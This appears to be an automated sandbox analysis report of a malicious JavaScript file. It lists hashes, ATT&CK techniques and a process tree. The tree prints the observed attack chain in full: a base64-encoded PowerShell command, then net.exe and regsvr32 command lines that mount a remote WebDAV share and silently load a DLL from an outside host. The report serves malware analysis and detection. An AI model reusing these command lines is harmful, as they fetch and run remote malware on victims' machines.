c83d10a4d741a7f3ef7ca69b4167024113dac2e1769f79f2b522d27f72ee6818

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 13:14

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General

Target

4499246082820518651.js
Size

18KB
MD5

c4b0dc16dea6ed33c0885aa57527aa3e
SHA1

feca393f3af0f221d3cb6a7e1bca56d78de9f0e3
SHA256

c83d10a4d741a7f3ef7ca69b4167024113dac2e1769f79f2b522d27f72ee6818
SHA512

a6e62fb641894a58319df4b5381349ed448c207b3b4a79be6e53caf2b332e189cba582c0258dce65aa39a81249372b3a3524432fa0254b49c89c3234ebaa01f7
SSDEEP

96:Rq0QZJ7ulEsmLXzMNeAjwPlvP9X/HolvP9TJLkaPRL/TXWqxPtlK/xPtlMHuNPS:RqxylJmLf/oJLDLbXWUlKnlMHu8

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
840	powershell.exe
840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	840	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 840	1788	wscript.exe	84
PID 1788 wrote to memory of 840	1788	wscript.exe	84
PID 840 wrote to memory of 388	840	powershell.exe	86
PID 840 wrote to memory of 388	840	powershell.exe	86
PID 840 wrote to memory of 4472	840	powershell.exe	87
PID 840 wrote to memory of 4472	840	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4499246082820518651.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgAxADcAMQA2ADkAMgA0ADIAMAAzADQAOQAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:388
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\12171692420349.dll
    3⤵
    PID:4472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_km2ato5p.hsv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/840-0-0x00007FFB1E073000-0x00007FFB1E075000-memory.dmp

Filesize
8KB

Download
memory/840-1-0x000002A96FD80000-0x000002A96FDA2000-memory.dmp

Filesize
136KB

Download
memory/840-11-0x00007FFB1E070000-0x00007FFB1EB31000-memory.dmp

Filesize
10.8MB

Download
memory/840-12-0x00007FFB1E070000-0x00007FFB1EB31000-memory.dmp

Filesize
10.8MB

Download
memory/840-15-0x00007FFB1E070000-0x00007FFB1EB31000-memory.dmp

Filesize
10.8MB

Download